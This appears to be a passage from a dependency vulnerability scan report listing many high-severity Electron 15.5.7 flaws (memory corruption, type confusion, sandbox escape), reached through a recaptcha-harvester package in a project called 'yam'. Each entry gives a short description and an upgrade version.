  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in Skia.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Incorrect Calculation of Buffer Size

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Incorrect Calculation of Buffer Size via insufficient validation of untrusted input in ANGLE and GPU. An attacker can escape the sandbox by submitting a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.4 or higher.

References

high severity

Out-of-bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write via a crafted HTML page. An attacker can execute arbitrary code inside a sandbox by crafting a malicious HTML page.

Remediation

Upgrade electron to version 31.7.7 or higher.

References

high severity

Out-of-bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write through a crafted HTML page. An attacker can execute arbitrary code inside a sandbox by crafting malicious HTML content.

Remediation

Upgrade electron to version 32.3.0 or higher.

References

high severity

Out-of-bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write via a crafted HTML page. An attacker can potentially exploit heap corruption by sending a specially crafted HTML page to the victim.

Remediation

Upgrade electron to version 32.3.2, 33.4.2 or higher.

References

high severity

Out-of-bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write through crafted HTML pages. An attacker can exploit heap corruption by sending a specially crafted HTML page to the victim.

Remediation

Upgrade electron to version 32.3.2, 33.4.2 or higher.

References

high severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in v8 engine.

Remediation

Upgrade electron to version 32.3.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via MediaStreamTrackImpl. An attacker can cause heap corruption by enticing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.6 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Dawn component.

Remediation

Upgrade electron to version 29.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Swiftshader process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.5, 30.2.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.5, 30.2.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free due to the improper handling of memory in the Dawn component. An attacker can cause heap corruption and potentially execute arbitrary code by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.5, 30.2.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.5, 30.2.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 30.4.0, 31.4.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Loader component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 30.4.0, 31.4.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the WebAudio process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Serial process. An attacker can potentially exploit heap corruption.

Remediation

Upgrade electron to version 31.7.5, 32.2.5 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Compositing process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 31.7.7 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the V8 engine. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 33.4.3 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the V8 engine.

Remediation

Upgrade electron to version 32.3.3, 33.4.3 or higher.

References

high severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via lack of support for escapes in PreParserIdentifier V8` process. An attacker can achieve heap corruption by enticing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.5 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the WebRTC component.

Remediation

Upgrade electron to version 17.4.11, 18.3.6 or higher.

References

high severity

Heap-based Buffer Overflow

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the V8 engine. An attacker can corrupt memory and potentially execute arbitrary code by crafting a malicious HTML page.

Note: This is only exploitable if the user navigates to or is redirected to a malicious web page.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

high severity

Out-of-Bounds

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-Bounds when the V8 engine processes a carefully crafted HTML page. An attacker can perform an out of bounds memory read, thereby potentially gaining unauthorized access to sensitive information.

Remediation

Upgrade electron to version 22.3.23, 24.8.2, 25.8.0 or higher.

References

high severity

Out-of-Bounds

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-Bounds memory access in V8 component. This vulnerability allowed a remote attacker to perform arbitrary read/write via a crafted HTML page.

Remediation

Upgrade electron to version 27.3.10, 28.3.0 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read through the V8 engine. An attacker can access memory locations outside of the intended bounds by crafting a malicious HTML page.

Note: This is only exploitable if the user navigates to or is redirected to a malicious web page.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

high severity

Out-of-bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write allowing a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Note: The Stable channel has been updated to 120.0.6099.234 for Mac devices.

Remediation

Upgrade electron to version 26.6.6, 27.2.3, 28.1.4 or higher.

References

high severity

Out-of-bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write in Dawn.

Remediation

Upgrade electron to version 31.7.4, 32.2.3 or higher.

References

high severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion in InferHasInPrototypeChain of the V8 engine.

Remediation

Upgrade electron to version 31.7.1, 32.2.1 or higher.

References

high severity

Type Confusion

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Type Confusion via the V8 engine.

Remediation

Upgrade electron to version 31.7.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via improper handling of possible socket destruction in P2PSocketTcpBase. An attacker can achieve heap corruption and potentially execute arbitrary code by enticing a user to visit a specially crafted HTML page.

Remediation

Upgrade electron to version 37.2.4 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in Mojo runtime libraries collection. This allows an attacker to exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 27.3.4, 28.2.5 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Audio process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Navigation process. An attacker can exploit heap corruption by convincing a user to install a malicious extension.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via specific UI gestures in the Screen Capture feature. An attacker can potentially exploit heap corruption by convincing a user to visit a crafted HTML page.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free through the Media Stream process. An attacker can potentially exploit heap corruption by convincing a user to perform specific UI gestures on a crafted HTML page.

Remediation

Upgrade electron to version 29.4.6, 30.4.0 or higher.

References

high severity

Improper Access Control

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Access Control via nested unserializable return value when using contextIsolation and contextBridge are affected. Exploiting this vulnerability allows code running in the main world context in the renderer to reach into the isolated Electron context and perform privileged actions.

Note

This issue is exploitable under either of two conditions:

  1. If an API exposed to the main world via contextBridge can return an object or array that contains a JS object that cannot be serialized, such as a canvas rendering context. This would normally result in an Error: object could not be cloned exception being thrown.

  2. If an API exposed to the main world via contextBridge has a return value that throws a user-generated exception while being sent over the bridge, such as a dynamic getter property on an object that throws an error when being computed.

Workaround

The app-side workaround is to ensure that such a case, as mentioned in the workaround section, is not possible.

Ensure all values returned from a function exposed over the context bridge are supported and that any objects returned from functions do not have dynamic getters that can throw exceptions.

Auditing your exposed API is likely to be quite difficult, so we strongly recommend you update to a patched version of Electron.

Remediation

Upgrade electron to version 23.2.3, 25.0.0-alpha.2 or higher.

References

high severity

Out-of-bounds Read

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Read in GPU Video in Google Chrome prior to 111.0.5563.110 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 22.3.5 or higher.

References

high severity

Out-of-bounds Write

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Out-of-bounds Write in the Compositing process. An attacker can potentially perform a sandbox escape by exploiting specific UI gestures. This is only exploitable if the attacker has already compromised the GPU process.

Remediation

Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the WebGPU process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.

Remediation

Upgrade electron to version 26.6.5, 27.2.2 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the ANGLE component. An attacker can potentially exploit heap corruption by convincing a user to visit a crafted HTML page.

Remediation

Upgrade electron to version 26.6.5, 27.2.2 or higher.

References

high severity

Function Call with Incorrectly Specified Arguments

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Function Call with Incorrectly Specified Arguments via an incorrect handle provided in unspecified circumstances in Mojo. An attacker can reflect a broker-initiated transport back to a broker, which ultimately allows for handle leaks if the reflected transport is later used to deserialize another transport containing handles.

Remediation

Upgrade electron to version 36.3.0 or higher.

References

high severity

Improper Input Validation

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Improper Input Validation in the USB component.

Remediation

Upgrade electron to version 25.9.4, 26.5.0, 27.0.4 or higher.

References

high severity

Integer Overflow or Wraparound

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound in the USB component.

Remediation

Upgrade electron to version 25.9.4, 26.5.0, 27.0.4 or higher.

References

high severity

NULL Pointer Dereference

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to NULL Pointer Dereference in V8, due to an object lifecycle issue involving scope inheritance.

Remediation

Upgrade electron to version 27.3.8, 28.2.9, 29.1.6 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free via the Animation component in Chromium.

Remediation

Upgrade electron to version 16.0.10, 17.1.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Use After Free in V8, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade electron to version 19.1.7, 20.3.7 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

  • Introduced through: yam@MillenniumEarl/YAM#f26c7ca6422437af658d740bb97f0fddd63c6a6a @millenniumearl/recaptcha-harvester@1.2.1 electron@15.5.7

Overview

electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.

Affected versions of this package are vulnerable to Denial of Service (DoS) in PDF in Google Chrome, a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade electron to version 17.4.11, 18.3.7 or higher.

References

high severity

Denial of Service (DoS)

  • Vulnerable module: electron
  • Introduced through: @millenniumearl/recaptcha-harvester@1.2.1

Detailed paths

